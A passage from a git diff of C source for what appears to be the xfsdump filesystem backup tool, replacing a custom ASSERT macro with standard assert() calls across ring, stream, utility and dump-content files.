) % ringp->r_len; @@ -323,7 +324,7 @@ ring_slave_get( ring_t *ringp ) /* assert slave currently holds no messages */ - ASSERT( ringp->r_slave_cnt == 0 ); + assert( ringp->r_slave_cnt == 0 ); /* bump slave message count and note if slave needs to block */ @@ -342,11 +343,11 @@ ring_slave_get( ring_t *ringp ) /* assert the message is where it belongs */ - ASSERT( msgp->rm_loc == RING_LOC_ACTIVE ); + assert( msgp->rm_loc == RING_LOC_ACTIVE ); /* verify the message index has not become corrupted */ - ASSERT( msgp->rm_mix == ringp->r_active_out_ix ); + assert( msgp->rm_mix == ringp->r_active_out_ix ); /* bump the output index */ @@ -372,15 +373,15 @@ ring_slave_put( ring_t *ringp, ring_msg_t *msgp ) { /* assert the slave holds exactly one message */ - ASSERT( ringp->r_slave_cnt == 1 ); + assert( ringp->r_slave_cnt == 1 ); /* assert the slave is returning the right message */ - ASSERT( msgp->rm_mix == ringp->r_ready_in_ix ); + assert( msgp->rm_mix == ringp->r_ready_in_ix ); /* assert the message is where it belongs */ - ASSERT( msgp->rm_loc == RING_LOC_SLAVE ); + assert( msgp->rm_loc == RING_LOC_SLAVE ); /* decrement the count of messages held by the slave */ @@ -435,7 +436,7 @@ ring_slave_entry( void *ringctxp ) } if ( ! ringp->r_first_io_time ) { ringp->r_first_io_time = time( 0 ); - ASSERT( ringp->r_first_io_time ); + assert( ringp->r_first_io_time ); } rval = ( ringp->r_readfunc )( ringp->r_clientctxp, msgp->rm_bufp ); @@ -455,7 +456,7 @@ ring_slave_entry( void *ringctxp ) } if ( ! ringp->r_first_io_time ) { ringp->r_first_io_time = time( 0 ); - ASSERT( ringp->r_first_io_time ); + assert( ringp->r_first_io_time ); } rval = ( ringp->r_writefunc )( ringp->r_clientctxp, msgp->rm_bufp ); diff --git a/common/stream.c b/common/stream.c index 6704661..0db1be3 100644 --- a/common/stream.c +++ b/common/stream.c @@ -20,6 +20,7 @@ #include #include +#include #include "types.h" #include "exit.h" @@ -65,7 +66,7 @@ stream_register( pthread_t tid, intgen_t streamix ) spm_t *p = spm; spm_t *ep = spm + N(spm); - ASSERT( streamix < STREAM_SIMMAX ); + assert( streamix < STREAM_SIMMAX ); lock(); for ( ; p < ep ; p++ ) { @@ -75,7 +76,7 @@ stream_register( pthread_t tid, intgen_t streamix ) } } unlock(); - ASSERT( p < ep ); + assert( p < ep ); if ( p >= ep ) return; @@ -98,7 +99,7 @@ stream_dead( pthread_t tid ) p->s_state = S_ZOMBIE; break; } - ASSERT( p < ep ); + assert( p < ep ); } void @@ -116,7 +117,7 @@ stream_free( pthread_t tid ) } } unlock(); - ASSERT( p < ep ); + assert( p < ep ); } int @@ -126,7 +127,7 @@ stream_find_all( stream_state_t states[], int nstates, int i, count = 0; spm_t *p = spm; spm_t *ep = spm + N(spm); - ASSERT(nstates > 0 && ntids > 0); + assert(nstates > 0 && ntids > 0); if (!initialized) return 0; @@ -150,7 +151,7 @@ stream_find( pthread_t tid, stream_state_t s[], int nstates ) spm_t *p = spm; spm_t *ep = spm + N(spm); - ASSERT(nstates > 0); + assert(nstates > 0); /* note we don't lock the stream array in this function */ for ( ; p < ep ; p++ ) @@ -275,7 +276,7 @@ stream_cnt( void ) size_t ixcnt; size_t bitix; - ASSERT( sizeof( ixmap ) * NBBY >= STREAM_SIMMAX ); + assert( sizeof( ixmap ) * NBBY >= STREAM_SIMMAX ); lock(); for ( ; p < ep ; p++ ) { diff --git a/common/util.c b/common/util.c index 73f18fe..1dc6d6c 100644 --- a/common/util.c +++ b/common/util.c @@ -25,6 +25,7 @@ #include #include #include +#include #include "types.h" #include "util.h" @@ -46,9 +47,9 @@ write_buf( char *bufp, while ( bufsz ) { int rval; - ASSERT( bufsz > 0 ); + assert( bufsz > 0 ); mbufp = ( *get_write_buf_funcp )( contextp, bufsz, &mbufsz ); - ASSERT( mbufsz <= bufsz ); + assert( mbufsz <= bufsz ); if ( bufp ) { (void)memcpy( ( void * )mbufp, ( void * )bufp, mbufsz ); } else { @@ -86,7 +87,7 @@ read_buf( char *bufp, if ( *statp ) { break; } - ASSERT( mbufsz <= bufsz ); + assert( mbufsz <= bufsz ); if ( bufp ) { ( void )memcpy( (void *)bufp, (void *)mbufp, mbufsz ); bufp += mbufsz; @@ -255,7 +256,7 @@ bigstat_one( intgen_t fsfd, xfs_fsop_bulkreq_t bulkreq; intgen_t count = 0; - ASSERT( ino > 0 ); + assert( ino > 0 ); bulkreq.lastip = (__u64 *)&ino; bulkreq.icount = 1; bulkreq.ubuffer = statp; @@ -354,13 +355,13 @@ diriter( jdm_fshandle_t *fshandlep, intgen_t cbrval; if ( usrgdp ) { - ASSERT( usrgdsz >= sizeof( struct dirent ) ); + assert( usrgdsz >= sizeof( struct dirent ) ); gdsz = usrgdsz; gdp = ( struct dirent * )usrgdp; } else { gdsz = pgsz; gdp = ( struct dirent * )malloc( gdsz ); - ASSERT( gdp ); + assert( gdp ); } /* open the directory @@ -377,7 +378,7 @@ diriter( jdm_fshandle_t *fshandlep, } return -1; } - ASSERT( ( statp->bs_mode & S_IFMT ) == S_IFDIR ); + assert( ( statp->bs_mode & S_IFMT ) == S_IFDIR ); /* lots of buffering done here, to achieve OS-independence. * if proves to be to much overhead, can streamline. @@ -389,8 +390,8 @@ diriter( jdm_fshandle_t *fshandlep, intgen_t nread; register size_t reclen; - ASSERT( scrval == 0 ); - ASSERT( cbrval == 0 ); + assert( scrval == 0 ); + assert( cbrval == 0 ); nread = getdents_wrap( fd, (char *)gdp, gdsz ); @@ -421,12 +422,12 @@ diriter( jdm_fshandle_t *fshandlep, nread > 0 ; nread -= ( intgen_t )reclen, - ASSERT( nread >= 0 ), + assert( nread >= 0 ), p = ( struct dirent * )( ( char * )p + reclen ), reclen = ( size_t )p->d_reclen ) { xfs_bstat_t statbuf; - ASSERT( scrval == 0 ); - ASSERT( cbrval == 0 ); + assert( scrval == 0 ); + assert( cbrval == 0 ); /* skip "." and ".." */ @@ -538,7 +539,7 @@ fold_init( fold_t fold, char *infostr, char c ) char *endp; ix_t cnt; - ASSERT( sizeof( fold_t ) == FOLD_LEN + 1 ); + assert( sizeof( fold_t ) == FOLD_LEN + 1 ); infolen = strlen( infostr ); if ( infolen > FOLD_LEN - 4 ) { @@ -551,23 +552,23 @@ fold_init( fold_t fold, char *infostr, char c ) p = &fold[ 0 ]; endp = &fold[ sizeof( fold_t ) - 1 ]; - ASSERT( p < endp ); + assert( p < endp ); *p++ = ' '; for ( cnt = 0 ; cnt < predashlen && p < endp ; cnt++, p++ ) { *p = c; } - ASSERT( p < endp ); + assert( p < endp ); *p++ = ' '; - ASSERT( p < endp ); - ASSERT( p + infolen < endp ); + assert( p < endp ); + assert( p + infolen < endp ); strcpy( p, infostr ); p += infolen; - ASSERT( p < endp ); + assert( p < endp ); *p++ = ' '; - ASSERT( p < endp ); + assert( p < endp ); for ( cnt = 0 ; cnt < postdashlen && p < endp ; cnt++, p++ ) { *p = c; } - ASSERT( p <= endp ); + assert( p <= endp ); *p = 0; } diff --git a/dump/content.c b/dump/content.c index 5f7b4d9..3682358 100644 --- a/dump/content.c +++ b/dump/content.c @@ -30,6 +30,7 @@ #include #include #include +#include #ifdef linux #include @@ -559,18 +560,18 @@ content_init( intgen_t argc, /* basic sanity checks */ - ASSERT( sizeof( mode_t ) == MODE_SZ ); - ASSERT( sizeof( timestruct_t ) == TIMESTRUCT_SZ ); - ASSERT( sizeof( bstat_t ) == BSTAT_SZ ); - ASSERT( sizeof( filehdr_t ) == FILEHDR_SZ ); - ASSERT( sizeof( extenthdr_t ) == EXTENTHDR_SZ ); - ASSERT( sizeof( direnthdr_t ) == DIRENTHDR_SZ ); - ASSERT( sizeof( direnthdr_v1_t ) == DIRENTHDR_SZ ); - ASSERT( DIRENTHDR_SZ % DIRENTHDR_ALIGN == 0 ); - ASSERT( sizeofmember( content_hdr_t, ch_specific ) + assert( sizeof( mode_t ) == MODE_SZ ); + assert( sizeof( timestruct_t ) == TIMESTRUCT_SZ ); + assert( sizeof( bstat_t ) == BSTAT_SZ ); + assert( sizeof( filehdr_t ) == FILEHDR_SZ ); + assert( sizeof( extenthdr_t ) == EXTENTHDR_SZ ); + assert( sizeof( direnthdr_t ) == DIRENTHDR_SZ ); + assert( sizeof( direnthdr_v1_t ) == DIRENTHDR_SZ ); + assert( DIRENTHDR_SZ % DIRENTHDR_ALIGN == 0 ); + assert( sizeofmember( content_hdr_t, ch_specific ) >= sizeof( content_inode_hdr_t )); - ASSERT( sizeof( extattrhdr_t ) == EXTATTRHDR_SZ ); + assert( sizeof( extattrhdr_t ) == EXTATTRHDR_SZ ); /* calculate offsets of portions of the write hdr template */ @@ -737,20 +738,20 @@ content_init( intgen_t argc, */ if ( subtreecnt ) { subtreep = ( char ** )calloc( subtreecnt, sizeof( char * )); - ASSERT( subtreep ); + assert( subtreep ); optind = 1; opterr = 0; subtreeix = 0; while ( ( c = getopt( argc, argv, GETOPT_CMDSTRING )) != EOF ) { switch ( c ) { case GETOPT_SUBTREE: - ASSERT( subtreeix < subtreecnt ); - ASSERT( optarg && optarg[ 0 ] != '-' ); + assert( subtreeix < subtreecnt ); + assert( optarg && optarg[ 0 ] != '-' ); subtreep[ subtreeix++ ] = optarg; break; } } - ASSERT( subtreeix == subtreecnt ); + assert( subtreeix == subtreecnt ); } else { subtreep = 0; } @@ -900,7 +901,7 @@ content_init( intgen_t argc, sc_resumerangecnt = ( size_t )sessp->s_nstreams; sc_resumerangep = ( drange_t * )calloc( sc_resumerangecnt, sizeof( drange_t )); - ASSERT( sc_resumerangep ); + assert( sc_resumerangep ); for ( strmix = 0 ; strmix < sc_resumerangecnt ; strmix++ ) { inv_stream_t *bsp; inv_stream_t *esp; @@ -966,7 +967,7 @@ content_init( intgen_t argc, inv_free_session( &sessp ); sessp = 0; ok = inv_close( inv_idbt ); - ASSERT( ok ); + assert( ok ); inv_idbt = INV_TOKEN_NULL; goto baseuuidbypass; } @@ -1028,7 +1029,7 @@ content_init( intgen_t argc, (u_char_t)sc_level, &sessp); ok1 = inv_close( inv_idbt ); - ASSERT( ok1 ); + assert( ok1 ); if ( ! ok ) { sessp = 0; } @@ -1046,7 +1047,7 @@ content_init( intgen_t argc, sc_resumerangecnt = ( size_t )sessp->s_nstreams; sc_resumerangep = ( drange_t * )calloc( sc_resumerangecnt, sizeof( drange_t )); - ASSERT( sc_resumerangep ); + assert( sc_resumerangep ); for ( strmix = 0 ; strmix < sc_resumerangecnt ; strmix++ ) { inv_stream_t *bsp; inv_stream_t *esp; @@ -1119,8 +1120,8 @@ baseuuidbypass: samefoundpr = BOOL_FALSE; } if ( underfoundpr ) { - ASSERT( underlevel <= LEVEL_MAX ); - ASSERT( undertime ); + assert( underlevel <= LEVEL_MAX ); + assert( undertime ); if ( samefoundpr ) { if ( undertime >= sametime ) { if ( underinterruptedpr ) { @@ -1157,7 +1158,7 @@ baseuuidbypass: sc_incrbaselevel = underlevel; uuid_copy(sc_incrbaseid, underid); sc_resumepr = BOOL_FALSE; - ASSERT( sc_resumerangep ); + assert( sc_resumerangep ); free( ( void * )sc_resumerangep ); sc_resumerangep = 0; } else { @@ -1179,14 +1180,14 @@ baseuuidbypass: sc_level, sc_level ); } - ASSERT( sametime ); + assert( sametime ); sc_incrpr = BOOL_TRUE; sc_incrbasetime = undertime; sc_incrbaselevel = underlevel; sc_resumepr = BOOL_TRUE; sc_resumebasetime = sametime; uuid_copy(sc_resumebaseid, sameid); - ASSERT( sc_resumerangep ); + assert( sc_resumerangep ); } } else { if ( underinterruptedpr ) { @@ -1223,11 +1224,11 @@ baseuuidbypass: sc_incrbaselevel = underlevel; uuid_copy(sc_incrbaseid, underid); sc_resumepr = BOOL_FALSE; - ASSERT( ! sc_resumerangep ); + assert( ! sc_resumerangep ); } } else { if ( samefoundpr ) { - ASSERT( sametime ); + assert( sametime ); if ( subtreecnt && ! samepartialpr ) { mlog( MLOG_NORMAL | MLOG_WARNING, _( "level %u " @@ -1250,11 +1251,11 @@ baseuuidbypass: sc_resumepr = BOOL_TRUE; sc_resumebasetime = sametime; uuid_copy(sc_resumebaseid, sameid); - ASSERT( sc_resumerangep ); + assert( sc_resumerangep ); } else { sc_incrpr = BOOL_FALSE; sc_resumepr = BOOL_FALSE; - ASSERT( ! sc_resumerangep ); + assert( ! sc_resumerangep ); if ( sc_level > 0 ) { mlog( MLOG_NORMAL | MLOG_ERROR, _( "cannot find earlier dump " @@ -1294,9 +1295,9 @@ baseuuidbypass: char incrtimestr[ 30 ]; strcpy( restimestr, ctimennl( &sc_resumebasetime )); - ASSERT( strlen( restimestr ) < sizeof( restimestr )); + assert( strlen( restimestr ) < sizeof( restimestr )); strcpy( incrtimestr, ctimennl( &sc_incrbasetime )); - ASSERT( strlen( incrtimestr ) < sizeof( incrtimestr )); + assert( strlen( incrtimestr ) < sizeof( incrtimestr )); mlog( MLOG_VERBOSE, _( "resuming level %d incremental dump of %s:%s " @@ -1388,7 +1389,7 @@ baseuuidbypass: } sc_rootxfsstatp = ( xfs_bstat_t * )calloc( 1, sizeof( xfs_bstat_t )); - ASSERT( sc_rootxfsstatp ); + assert( sc_rootxfsstatp ); if ( bigstat_one( sc_fsfd, rootstat.st_ino, sc_rootxfsstatp) < 0 ) { mlog( MLOG_ERROR, @@ -1433,7 +1434,7 @@ baseuuidbypass: sc_stat_inomapcnt = ( size64_t )fs_getinocnt( mntpnt ); sc_startptp = ( startpt_t * )calloc( drivecnt, sizeof( startpt_t )); - ASSERT( sc_startptp ); + assert( sc_startptp ); ok = inomap_build( sc_fshandlep, sc_fsfd, sc_rootxfsstatp, @@ -1467,7 +1468,7 @@ baseuuidbypass: * an inomap for each media file. the dirdump flag will be set * in content_stream_dump() for streams which dump the directories. */ - ASSERT( sizeof( cwhdrtemplatep->ch_specific ) >= sizeof( *scwhdrtemplatep )); + assert( sizeof( cwhdrtemplatep->ch_specific ) >= sizeof( *scwhdrtemplatep )); scwhdrtemplatep->cih_mediafiletype = CIH_MEDIAFILETYPE_DATA; scwhdrtemplatep->cih_level = ( int32_t )sc_level; scwhdrtemplatep->cih_dumpattr = CIH_DUMPATTR_INOMAP; @@ -1553,17 +1554,17 @@ baseuuidbypass: /* allocate and populate per-stream context descriptors */ sc_contextp = ( context_t * )calloc( drivecnt, sizeof( context_t )); - ASSERT( sc_contextp ); + assert( sc_contextp ); for ( strmix = 0 ; strmix < drivecnt ; strmix++ ) { context_t *contextp = &sc_contextp[ strmix ]; contextp->cc_filehdrp = ( filehdr_t * )calloc( 1, sizeof( filehdr_t )); - ASSERT( contextp->cc_filehdrp ); + assert( contextp->cc_filehdrp ); contextp->cc_extenthdrp = ( extenthdr_t * )calloc( 1, sizeof( extenthdr_t )); - ASSERT( contextp->cc_extenthdrp ); + assert( contextp->cc_extenthdrp ); contextp->cc_getdentsbufsz = sizeof( struct dirent ) + @@ -1573,7 +1574,7 @@ baseuuidbypass: } contextp->cc_getdentsbufp = ( char * ) calloc( 1, contextp->cc_getdentsbufsz ); - ASSERT( contextp->cc_getdentsbufp ); + assert( contextp->cc_getdentsbufp ); contextp->cc_mdirentbufsz = sizeof( direnthdr_t ) + @@ -1582,7 +1583,7 @@ baseuuidbypass: DIRENTHDR_ALIGN; contextp->cc_mdirentbufp = ( char * ) calloc( 1, contextp->cc_mdirentbufsz ); - ASSERT( contextp->cc_mdirentbufp ); + assert( contextp->cc_mdirentbufp ); contextp->cc_extattrlistbufsz = EXTATTR_LISTBUF_SZ; contextp->cc_extattrrtrvarraylen = EXTATTR_RTRVARRAY_LEN; @@ -1592,15 +1593,15 @@ baseuuidbypass: } contextp->cc_extattrlistbufp = ( char * )calloc( 1, contextp->cc_extattrlistbufsz ); - ASSERT( contextp->cc_extattrlistbufp ); + assert( contextp->cc_extattrlistbufp ); contextp->cc_extattrrtrvarrayp = ( attr_multiop_t * )calloc( contextp->cc_extattrrtrvarraylen, sizeof( attr_multiop_t )); - ASSERT( contextp->cc_extattrrtrvarrayp ); + assert( contextp->cc_extattrrtrvarrayp ); contextp->cc_extattrdumpbufp = ( char * )memalign( sizeof( extattrhdr_t ), contextp->cc_extattrdumpbufsz ); - ASSERT( contextp->cc_extattrdumpbufp ); + assert( contextp->cc_extattrdumpbufp ); if (hsm_fs_ctxtp) { contextp->cc_hsm_f_ctxtp = HsmAllocateFileContext( hsm_fs_ctxtp); @@ -1611,7 +1612,7 @@ baseuuidbypass: contextp->cc_readlinkbufsz = MAXPATHLEN + SYMLINK_ALIGN; contextp->cc_readlinkbufp = ( char * ) calloc( 1, contextp->cc_readlinkbufsz ); - ASSERT( contextp->cc_readlinkbufp ); + assert( contextp->cc_readlinkbufp ); contextp->cc_inomap_contextp = inomap_alloc_context( ); } @@ -1770,7 +1771,7 @@ content_statline( char **linespp[ ] ) (unsigned long long)sc_stat_inomapdone, (unsigned long long)sc_stat_inomapcnt, elapsed ); - ASSERT( strlen( statline[ 0 ] ) < STATLINESZ ); + assert( strlen( statline[ 0 ] ) < STATLINESZ ); } else { sprintf( statline[ 0 ], "status at %02d:%02d:%02d: " @@ -1784,7 +1785,7 @@ content_statline( char **linespp[ ] ) (unsigned long long)sc_stat_inomapdone, (unsigned long long)sc_stat_inomapcnt, elapsed ); - ASSERT( strlen( statline[ 0 ] ) < STATLINESZ ); + assert( strlen( statline[ 0 ] ) < STATLINESZ ); } return 1; } @@ -1835,7 +1836,7 @@ content_statline( char **linespp[ ] ) elapsed ); } - ASSERT( strlen( statline[ 0 ] ) < STATLINESZ ); + assert( strlen( statline[ 0 ] ) < STATLINESZ ); /* optionally create stat lines for each drive */ @@ -1883,7 +1884,7 @@ content_statline( char **linespp[ ] ) sprintf( &statline[ statlinecnt ] [ strlen( statline[ statlinecnt ] ) ], "\n" ); - ASSERT( strlen( statline[ statlinecnt ] ) < STATLINESZ ); + assert( strlen( statline[ statlinecnt ] ) < STATLINESZ ); statlinecnt++; } @@ -1905,7 +1906,7 @@ create_inv_session( /* create a cleanup handler to close the inventory on exit. */ rval = atexit( inv_cleanup ); - ASSERT( ! rval ); + assert( ! rval ); sc_inv_idbtoken = inv_open( ( inv_predicate_t )INV_BY_UUID, INV_SEARCH_N_MOD, @@ -1915,12 +1916,12 @@ create_inv_session( } qmntpnt = ( char * )calloc( 1, strlen( gwhdrtemplatep->gh_hostname ) + 1 + strlen( mntpnt ) + 1 ); - ASSERT( qmntpnt ); - ASSERT( strlen( gwhdrtemplatep->gh_hostname )); + assert( qmntpnt ); + assert( strlen( gwhdrtemplatep->gh_hostname )); sprintf( qmntpnt, "%s:%s", gwhdrtemplatep->gh_hostname, mntpnt ); qfsdevice = ( char * )calloc( 1, strlen( gwhdrtemplatep->gh_hostname ) + 1 + strlen( fsdevice ) + 1 ); - ASSERT( qfsdevice ); + assert( qfsdevice ); sprintf( qfsdevice, "%s:%s", gwhdrtemplatep->gh_hostname, fsdevice ); sc_inv_sestoken = inv_writesession_open( sc_inv_idbtoken, @@ -1943,7 +1944,7 @@ create_inv_session( */ sc_inv_stmtokenp = ( inv_stmtoken_t * ) calloc( drivecnt, sizeof( inv_stmtoken_t )); - ASSERT( sc_inv_stmtokenp ); + assert( sc_inv_stmtokenp ); for ( strmix = 0 ; strmix < drivecnt ; strmix++ ) { drive_t *drivep = drivepp[ strmix ]; char *drvpath; @@ -1971,7 +1972,7 @@ mark_set( drive_t *drivep, xfs_ino_t ino, off64_t offset, int32_t flags ) { drive_ops_t *dop = drivep->d_opsp; mark_t *markp = ( mark_t * )calloc( 1, sizeof( mark_t )); - ASSERT( markp ); + assert( markp ); if ( flags & STARTPT_FLAGS_NULL ) { mlog( MLOG_DEBUG, @@ -2102,17 +2103,17 @@ content_stream_dump( ix_t strmix ) /* sanity checks */ - ASSERT( RV_OK == 0 ); /* bigstat_iter depends on this */ + assert( RV_OK == 0 ); /* bigstat_iter depends on this */ /* allocate a buffer for use by bstat_iter */ bstatbufp = ( xfs_bstat_t * )calloc( bstatbuflen, sizeof( xfs_bstat_t )); - ASSERT( bstatbufp ); + assert( bstatbufp ); /* allocate an inomap context */ inomap_contextp = inomap_alloc_context(); - ASSERT( inomap_contextp ); + assert( inomap_contextp ); /* determine if stream terminators will be used and are expected. * this will be revised each time a new media file is begun. @@ -2253,7 +2254,7 @@ content_stream_dump( ix_t strmix ) if ( rv == RV_CORE ) { return mlog_exit(EXIT_FAULT, rv); } - ASSERT( rv == RV_OK ); + assert( rv == RV_OK ); if ( rv != RV_OK ) { return mlog_exit(EXIT_FAULT, rv); } @@ -2298,7 +2299,7 @@ content_stream_dump( ix_t strmix ) free( ( void * )bstatbufp ); return mlog_exit(EXIT_FAULT, rv); } - ASSERT( rv == RV_OK ); + assert( rv == RV_OK ); if ( rv != RV_OK ) { free( ( void * )bstatbufp ); return mlog_exit(EXIT_FAULT, rv); @@ -2334,7 +2335,7 @@ content_stream_dump( ix_t strmix ) free( ( void * )bstatbufp ); return mlog_exit(EXIT_FAULT, rv); } - ASSERT( rv == RV_OK ); + assert( rv == RV_OK ); if ( rv != RV_OK ) { free( ( void * )bstatbufp ); return mlog_exit(EXIT_FAULT, rv); @@ -2394,7 +2395,7 @@ content_stream_dump( ix_t strmix ) free( ( void * )bstatbufp ); return mlog_exit(EXIT_FAULT, rv); } - ASSERT( rv == RV_OK || rv == RV_NOMORE ); + assert( rv == RV_OK || rv == RV_NOMORE ); if ( rv != RV_OK && rv != RV_NOMORE ) { free( ( void * )bstatbufp ); return mlog_exit(EXIT_FAULT, rv); @@ -2737,7 +2738,7 @@ content_mediachange_query( void ) } nochangeix = choicecnt; choicestr[ choicecnt++ ] = "continue"; - ASSERT( choicecnt <= CHOICEMAX ); + assert( choicecnt <= CHOICEMAX ); responseix = dlog_multi_query( querystr, querycnt, choicestr, @@ -2755,7 +2756,7 @@ content_mediachange_query( void ) clr_mcflag( choicetothrdmap[ responseix ].thrdix ); return "media change acknowledged\n"; } - ASSERT( responseix == nochangeix ); + assert( responseix == nochangeix ); return "continuing\n"; } @@ -2919,7 +2920,7 @@ dump_dir( ix_t strmix, /* no way this can be non-dir, but check anyway */ - ASSERT( ( statp->bs_mode & S_IFMT ) == S_IFDIR ); + assert( ( statp->bs_mode & S_IFMT ) == S_IFDIR ); if ( ( statp->bs_mode & S_IFMT ) != S_IFDIR ) { return RV_OK; } @@ -3041,7 +3042,7 @@ dump_dir( ix_t strmix, nread > 0 ; nread -= ( intgen_t )reclen, - ASSERT( nread >= 0 ), + assert( nread >= 0 ), p = ( struct dirent * )( ( char * )p + reclen ), reclen = ( size_t )p->d_reclen ) { xfs_ino_t ino; @@ -3056,7 +3057,7 @@ dump_dir( ix_t strmix, * be null-terminated, but the record may have * padding after the null-termination. */ - ASSERT( namelen < nameszmax ); + assert( namelen < nameszmax ); #endif /* skip "." and ".." @@ -3263,7 +3264,7 @@ dump_extattr_list( drive_t *drivep, /* sanity checks */ - ASSERT( listp->al_count >= 0 ); + assert( listp->al_count >= 0 ); /* fill up a retrieve array and build a dump buffer; * can run out of entries in the name list, space in the @@ -3397,7 +3398,7 @@ dump_extattr_list( drive_t *drivep, if (dumpbufp <= dumpbufendp) continue; /* no buffer overflow yet */ - ASSERT( endp > contextp->cc_extattrdumpbufp ); + assert( endp > contextp->cc_extattrdumpbufp ); bufsz = ( size_t )( endp - contextp->cc_extattrdumpbufp ); rval = write_buf( contextp->cc_extattrdumpbufp, @@ -3476,7 +3477,7 @@ dump_extattr_list( drive_t *drivep, continue; } - ASSERT( endp > contextp->cc_extattrdumpbufp ); + assert( endp > contextp->cc_extattrdumpbufp ); bufsz = ( size_t )( endp - contextp->cc_extattrdumpbufp ); rval = write_buf( contextp->cc_extattrdumpbufp, @@ -3613,7 +3614,7 @@ dump_extattr_buildrecord( xfs_bstat_t *statp, memset( ( void * )&tmpah, 0, sizeof( tmpah )); tmpah.ah_sz = recsz; - ASSERT( EXTATTRHDR_SZ + namesz < UINT16MAX ); + assert( EXTATTRHDR_SZ + namesz < UINT16MAX ); tmpah.ah_valoff = ( u_int16_t )( EXTATTRHDR_SZ + namesz ); tmpah.ah_flags = ( u_int16_t ) (( flag & ATTR_ROOT ) ? EXTATTRHDR_FLAGS_ROOT : @@ -3644,7 +3645,7 @@ dump_extattrhdr( drive_t *drivep, memset( ( void * )&ahdr, 0, sizeof( ahdr )); ahdr.ah_sz = recsz; - ASSERT( valoff < UINT16MAX ); + assert( valoff < UINT16MAX ); ahdr.ah_valoff = ( u_int16_t )valoff; ahdr.ah_flags = ( u_int16_t )flags | EXTATTRHDR_FLAGS_CHECKSUM; ahdr.ah_valsz = valsz; @@ -3937,7 +3938,7 @@ dump_file_reg( drive_t *drivep, */ if ( statp->bs_ino == startptp->sp_ino ) { offset = startptp->sp_offset; - ASSERT( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); + assert( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); } else { offset = 0; } @@ -3966,7 +3967,7 @@ dump_file_reg( drive_t *drivep, break; } } - ASSERT( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); + assert( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); } /* determine the offset within the file where the dump should end. @@ -4034,7 +4035,7 @@ dump_file_reg( drive_t *drivep, /* see if we are done. */ if ( cmpltflg ) { - ASSERT( rv == RV_OK ); + assert( rv == RV_OK ); break; } @@ -4094,7 +4095,7 @@ dump_file_reg( drive_t *drivep, &offset, &bc, &cmpltflg ); - ASSERT( bc >= 0 ); + assert( bc >= 0 ); bytecnt += bc; if ( rv != RV_OK ) { break; @@ -4193,7 +4194,7 @@ dump_file_spec( drive_t *drivep, /* null-terminate the string */ - ASSERT( ( size_t )nread < contextp->cc_readlinkbufsz ); + assert( ( size_t )nread < contextp->cc_readlinkbufsz ); contextp->cc_readlinkbufp[ nread ] = 0; /* calculate the extent size - be sure to include room @@ -4202,7 +4203,7 @@ dump_file_spec( drive_t *drivep, extentsz = ( ( size_t )nread + 1 + ( SYMLINK_ALIGN - 1 )) & ~ ( SYMLINK_ALIGN - 1 ); - ASSERT( extentsz <= contextp->cc_readlinkbufsz ); + assert( extentsz <= contextp->cc_readlinkbufsz ); /* dump an extent header */ @@ -4351,7 +4352,7 @@ dump_extent_group( drive_t *drivep, */ nextoffset = *nextoffsetp; bytecnt = 0; - ASSERT( ( nextoffset & ( BBSIZE - 1 )) == 0 ); + assert( ( nextoffset & ( BBSIZE - 1 )) == 0 ); for ( ; ; ) { off64_t offset; @@ -4398,7 +4399,7 @@ dump_extent_group( drive_t *drivep, if ( gcp->eg_nextbmapp >= gcp->eg_endbmapp ) { intgen_t entrycnt; /* entries in new bmap */ - ASSERT( gcp->eg_nextbmapp == gcp->eg_endbmapp ); + assert( gcp->eg_nextbmapp == gcp->eg_endbmapp ); /* get a new extent block */ @@ -4613,7 +4614,7 @@ dump_extent_group( drive_t *drivep, extsz, nextoffset ); } - ASSERT( extsz > 0 ); + assert( extsz > 0 ); /* if the resultant extent would put us over maxcnt, * shorten it, and round up to the next BBSIZE (round @@ -4692,8 +4693,8 @@ dump_extent_group( drive_t *drivep, */ if ( sosig && ( extsz > stopoffset - offset )) { extsz = stopoffset - offset; - ASSERT( extsz >= 0 ); - ASSERT( ! ( extsz & ( off64_t )( BBSIZE - 1 ))); + assert( extsz >= 0 ); + assert( ! ( extsz & ( off64_t )( BBSIZE - 1 ))); mlog( MLOG_NITTY, "adjusted top of extent " "to adhere to stop offset: " @@ -4747,8 +4748,8 @@ dump_extent_group( drive_t *drivep, } /* adjust the next offset */ - ASSERT( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); - ASSERT( ( extsz & ( off64_t )( BBSIZE - 1 )) == 0 ); + assert( ( offset & ( off64_t )( BBSIZE - 1 )) == 0 ); + assert( ( extsz & ( off64_t )( BBSIZE - 1 )) == 0 ); nextoffset = offset + extsz; /* dump the extent header @@ -4786,7 +4787,7 @@ dump_extent_group( drive_t *drivep, bufp = ( * dop->do_get_write_buf )( drivep, reqsz, &actualsz ); - ASSERT( actualsz <= reqsz ); + assert( actualsz <= reqsz ); new_off = lseek64( gcp->eg_fd, offset, SEEK_SET ); if ( new_off == ( off64_t )( -1 )) { mlog( MLOG_NORMAL, _( @@ -4810,7 +4811,7 @@ dump_extent_group( drive_t *drivep, nread = 0; } - ASSERT( ( size_t )nread <= actualsz ); + assert( ( size_t )nread <= actualsz ); mlog( MLOG_NITTY, "read ino %llu offset %lld sz %d actual %d\n", statp->bs_ino, @@ -5103,8 +5104,8 @@ dump_dirent( drive_t *drivep, return RV_OK; } - ASSERT( sz <= UINT16MAX ); - ASSERT( sz >= DIRENTHDR_SZ ); + assert( sz <= UINT16MAX ); + assert( sz >= DIRENTHDR_SZ ); outbufp = malloc(sz); @@ -5206,7 +5207,7 @@ dump_session_inv( drive_t *drivep, "unable to get session inventory to dump\n") ); return BOOL_TRUE; } - ASSERT( inv_sbufp ); + assert( inv_sbufp ); /* modify the write header to indicate the media file type. */ @@ -5497,18 +5498,18 @@ inv_cleanup( void ) interrupted ? ": interrupted" : "" ); if (interrupted) mlog_exit_hint(RV_INTR); ok = inv_stream_close( *inv_stmtp, interrupted ); - ASSERT( ok ); + assert( ok ); } } if ( sc_inv_sestoken != INV_TOKEN_NULL ) { ok = inv_writesession_close( sc_inv_sestoken ); - ASSERT( ok ); + assert( ok ); } if ( sc_inv_idbtoken != INV_TOKEN_NULL ) { ok = inv_close( sc_inv_idbtoken ); - ASSERT( ok ); + assert( ok ); } } @@ -5542,7 +5543,7 @@ Media_mfile_begin( drive_t *drivep, context_t *contextp, bool_t intr_allowed ) /* sanity checks */ - ASSERT( BES_INIT == 0 ); + assert( BES_INIT == 0 ); mlog( MLOG_DEBUG | 